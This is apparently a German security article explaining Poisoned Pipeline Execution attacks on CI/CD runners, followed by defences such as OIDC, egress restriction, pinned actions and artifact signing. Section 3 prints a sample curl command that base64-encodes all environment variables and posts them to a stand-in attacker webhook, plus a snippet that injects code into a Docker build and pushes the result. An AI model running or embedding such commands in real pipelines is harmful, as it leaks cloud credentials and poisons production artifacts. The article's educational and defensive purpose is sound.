Pipeline Implants: Angriffe auf die Lieferkette vom Dependencies zum CI/CD-Runner verschieben

In den letzten zehn Jahren hat die Cybersicherheitsbranche ihre kollektive Energie darauf konzentriert, die “Bausteine” von Software zu sichern: Dependencies. Wir haben den Aufstieg von Software Composition Analysis (SCA)-Tools gesehen, um bösartige NPM-Pakete zu erkennen, Typosquatting in PyPI sowie Schwachstellen in Maven. Doch während die Branche ihre Verteidigung gegen schädliche Dependencies verstärkte, verschoben Angreifer ihren Fokus weiter nach oben.

Die neue Grenze der Lieferkettenangriffe ist nicht nur der Code, den Sie importieren; es ist die Infrastruktur, die Ihren Code baut.

Willkommen im Zeitalter der Pipeline Implants und Poisoned Pipeline Execution (PPE). In diesem Deep Dive erklären wir, wie Angreifer von bösartigen Bibliotheken dazu übergehen, CI/CD-Runners zu kompromittieren, um Geheimnisse zu stehlen und Backdoors direkt in Produktionsartefakte einzuschleusen – ohne jemals in den Hauptlogik Ihres Quellcodes einzugreifen.

1. Der große Wandel: Von Dependencies zu Infrastruktur

Traditionell sah ein Angriff auf die Lieferkette so aus: Ein Angreifer veröffentlicht lo-dash (statt lodash), ein Entwickler installiert es versehentlich, und das bösartige Paket stiehlt Daten vom lokalen Rechner oder Produktionsserver.

Heute hat sich die Angriffsfläche erweitert. Modernes DevOps basiert auf “Infrastructure as Code” (IaC) und automatisierten CI/CD-Pipelines (GitHub Actions, GitLab CI, Jenkins, CircleCI). Diese Pipelines sind hochkarätige Ziele, weil:

• Sie “Gott-Modus”-Berechtigungen besitzen: Pipelines haben oft Zugangsdaten, um auf AWS/Azure/GCP zu deployen.
• Sie undurchsichtig sind: Entwickler prüfen selten die YAML-Dateien, die den Build-Prozess steuern, so streng wie den Anwendungscode.
• Sie flüchtig sind: Angriffe innerhalb eines Runners werden meist gelöscht, sobald der Job beendet ist, was forensische Beweise erschwert.

Pipeline Implants stellen die letzte Stufe dieser Entwicklung dar. Statt eine Bibliothek zu kompromittieren, übernimmt der Angreifer den Prozess, der die Bibliothek in eine Anwendung kompiliert.

2. Verständnis von Poisoned Pipeline Execution (PPE)

Im Kern von Pipeline Implants steht eine Technik namens Poisoned Pipeline Execution (PPE). PPE tritt auf, wenn ein Angreifer die Fähigkeit erlangt, die CI/CD-Konfigurationsdatei oder die vom Pipeline ausgeführten Skripte zu modifizieren.

Die drei Varianten von PPE

A. Direkte PPE

Bei direkter PPE ändert der Angreifer die Pipeline-Konfigurationsdatei selbst (z.B. .github/workflows/build.yml oder .gitlab-ci.yml). Durch das Einreichen eines Pull Requests (PR), der diese Dateien ändert, kann der Angreifer den CI/CD-Runner anweisen, beliebige Befehle auszuführen.

B. Indirekte PPE

In vielen Fällen ist die Pipeline-Konfiguration geschützt oder “gesperrt”. Allerdings kann die Konfiguration externe Skripte aufrufen, z.B. npm run build, make oder ein benutzerdefiniertes Shell-Skript (scripts/test.sh). Wenn ein Angreifer diese referenzierten Dateien per PR ändern kann, kann er die Ausführung auf dem Runner erreichen, auch wenn er die YAML-Datei nicht berühren kann.

C. Öffentliche PPE (Die Open-Source-Bedrohung)

Dies ist der häufigste Angriffsvektor bei öffentlichen Repositories. Viele Open-Source-Projekte führen automatisch CI-Tests bei jedem eingehenden PR durch, um den Code zu verifizieren. Wenn das Repository falsch konfiguriert ist, kann ein böswilliger Akteur das Repo forken, eine Payload in die Workflow-Datei injizieren und einen PR einreichen. Der eigene CI/CD-Runner des Projekts führt dann den bösartigen Code aus.

3. Die Anatomie eines Angriffs: Vom PR zum Backdoor in der Produktion

Wie funktioniert eine Pipeline Implantation in der Praxis? Wir gehen den Lebenszyklus eines Angriffs auf eine GitHub Actions-basierte Workflow durch.

Schritt 1: Der bösartige Pull Request

Ein Angreifer identifiziert ein Repository, das GitHub Actions nutzt. Er bemerkt, dass der Workflow einen Trigger wie on: pull_request verwendet. Er forked das Repository und ändert ein Build-Skript – z.B. eine setup.py oder eine Makefile.

Schritt 2: Geheimnisse exfiltrieren

Das Skript des Angreifers crasht den Build nicht nur, sondern agiert stillschweigend. Eines der ersten Ziele ist das Stehlen von Environment Variables. CI/CD-Runners enthalten oft:

• AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
• NPM_TOKEN (zum Veröffentlichen von Paketen)
• DOCKER_HUB_PASSWORD
• SSH-Schlüssel für Produktionsserver

Das Implantat könnte eine einfache Bash-Zeile enthalten:

curl -X POST -d "env=$(env | base64)" https://attacker-controlled-webhook.com/leak

Schritt 3: Das “Implant” injizieren

Sobald der Angreifer die Ausführungsrechte auf dem Runner hat, kann er die “Artefakte” modifizieren. Artefakte sind die Ausgabe des Builds (z.B. eine .jar-Datei, ein Docker-Image oder eine Binärdatei).

Wenn der Pipeline ein Docker-Image baut, kann der Angreifer den Runner nutzen, um eine kleine Binärdatei in das Image zu injizieren:

echo "malicious_code"  ./build/app.py
docker build -t production-app .
docker push company/production-app

Da dies innerhalb der vertrauenswürdigen CI/CD-Umgebung passiert, wird das resultierende Image digital signiert und in das Produktions-Registry als “vertrauenswürdig” gepusht.

4. Warum ist das gefährlicher als herkömmliche Malware?

Pipeline Implants sind “Living off the Land” (LotL)-Angriffe für DevOps.

• Code-Review umgehen: Die meisten Entwickler schauen sich die Code-Änderungen in einem PR an (die Logik). Eine einzeilige Änderung in einem Pre-Install-Skript oder einem versteckten Befehl in einer komplexen CMake-Datei fällt weniger auf.
• SCA/SAST umgehen: Static Analysis Security Testing (SAST)-Tools konzentrieren sich auf Anwendungs-Schwachstellen (wie SQL-Injection). Sie analysieren selten die Sicherheit des Build-Skripts selbst.
• Ephemere Natur: Da der CI/CD-Runner nach dem Job zerstört wird, verschwindet die “Waffe”. Das einzige Überbleibsel ist das kompromittierte Produktionsartefakt.
• Vertrauenskontamination: Wenn Ihr CI/CD-System kompromittiert ist, ist auch Ihre Build-Provenance zerstört. Sie können nicht mehr garantieren, dass das, was in Ihrem Git-Repo ist, auch in Ihrem Kubernetes-Cluster läuft.

5. Fallstudie: Die pull_request_target-Schwachstelle

GitHub führte pull_request_target ein, um Workflows mit mehr Berechtigungen als ein standardmäßiger pull_request auszuführen (der stark eingeschränkt ist). Ziel war es, automatisierte Labels oder PR-Kommentare zu ermöglichen.

Wenn jedoch ein Workflow, der pull_request_target nutzt, auch den Code vom eingehenden PR-Branch auscheckt, entsteht eine kritische Schwachstelle. Der Runner startet mit den “Secret”-Berechtigungen des Repos, führt aber Code aus, der von einem “Untrusted”-Fork bereitgestellt wird.

Das Ergebnis? Ein Angreifer kann einen PR einreichen, der ein Skript ausführt, um die gesamte AWS-Infrastruktur zu löschen oder die Deployment-Tokens des Hauptbranches zu stehlen. Diese Fehlkonfiguration wurde in den letzten drei Jahren in Tausenden von hochkarätigen Open-Source-Projekten gefunden.

6. Wie man Pipeline Implants erkennt und verhindert

Die Absicherung des CI/CD-Runners erfordert eine Weiterentwicklung hin zu DevSecOps-Reife. Es reicht nicht mehr, nur den Code zu sichern; man muss den Weg sichern, den der Code zur Produktion nimmt.

A. Das Prinzip der minimalen Rechte (PoLP)

Runners sollten keine persistenten Zugangsdaten haben. Statt AWS Secret Keys in GitHub Secrets zu speichern:

• Verwenden Sie OIDC (OpenID Connect): GitHub Actions kann OIDC nutzen, um kurzfristige, eingeschränkte Tokens von AWS/GCP/Azure anzufordern. Diese Tokens laufen sofort nach Abschluss des Jobs ab.
• Eingeschränkte Berechtigungen: Nutzen Sie den permissions:-Schlüssel in GitHub Actions, um zu beschränken, was der GITHUB_TOKEN tun kann (z.B. contents: read, packages: write).

B. Netzwerktrennung

Die meisten CI/CD-Runners haben uneingeschränkten Internetzugang. Das erlaubt ihnen, Dependencies herunterzuladen, aber auch Angreifern, Geheimnisse zu exfiltrieren.

• Egress einschränken: Nutzen Sie self-hosted Runners innerhalb eines VPC und beschränken Sie ausgehenden Traffic auf vertrauenswürdige Domains (z.B. github.com, npmjs.org).
• Netzwerk-Logs prüfen: Überwachen Sie ungewöhnlichen ausgehenden Traffic (z.B. curl-Anfragen an unbekannte IPs) während der Builds.

C. Harden der Workflow-Trigger

• Verwenden Sie niemals pull_request_target mit einem untrusted checkout.
• Fordern Sie eine Genehmigung für alle externen Beiträge, bevor GitHub Actions bei einem PR ausgeführt werden.
• Nutzen Sie Code Owners, um sicherzustellen, dass Änderungen an .github/workflows oder sensiblen Build-Skripten eine Genehmigung des Sicherheitsteams erfordern.

D. Unveränderlichkeit und signierte Metadaten

• Pinned Actions: Statt uses: actions/checkout@v3 verwenden Sie die vollständige SHA-Hash: uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608. Das verhindert, dass ein Angreifer die Action selbst kompromittiert.
• Sigstore / Cosign: Nutzen Sie Tools wie Sigstore, um Ihre Artefakte zu signieren und zu verifizieren, dass sie von einem bestimmten, unveränderten Workflow erstellt wurden.

7. Die Zukunft: CI/CD Security Posture Management (SSPM)

Mit wachsendem Risiko durch Pipeline Implants entsteht eine neue Kategorie von Tools: Software Supply Chain Security (SSCS) und CI/CD Security Posture Management.

Diese Tools machen für die Pipeline, was Cloud Security Posture Management (CSPM) für AWS getan hat. Sie:

• Scannen nach “Shadow CI” (nicht autorisierte Runner)
• Überprüfen übermäßig permissive IAM-Rollen an Runners
• Erkennen “vergiftete” Skripte, bevor sie ausgeführt werden
• Sicherstellen, dass Frameworks wie SLSA (Supply-chain Levels for Software Artifacts) eingehalten werden

8. Fazit: Das neue Sicherheitsperimeter

Das Sicherheitsperimeter hat sich verschoben. Es ist nicht mehr die Firewall; es ist nicht mehr der Identitätsanbieter; es ist die CI/CD-Pipeline.

Mit Blick auf 2025 und darüber hinaus werden die ausgefeiltesten Angriffe nicht mehr direkt den Entwickler-Laptop oder den Produktionsserver ins Visier nehmen. Sie werden den “Mittelsmann” angreifen – den CI/CD-Runner. Durch das Einschleusen bösartiger Skripte via einfachen Pull Request können Angreifer Ihr vertrauenswürdigstes Automatisierungstool in eine Waffe für Geheimnisdiebstahl und Artefaktvergiftung verwandeln.

---

Wichtig für DevSecOps-Teams: Behandeln Sie Ihre CI/CD YAML-Dateien mit derselben Skepsis wie Ihre Produktionsdatenbank-Zugangsdaten. Ein einzelner “Poisoned Pipeline” reicht aus, um eine sichere Anwendung in einen Lieferketten-Albtraum zu verwandeln.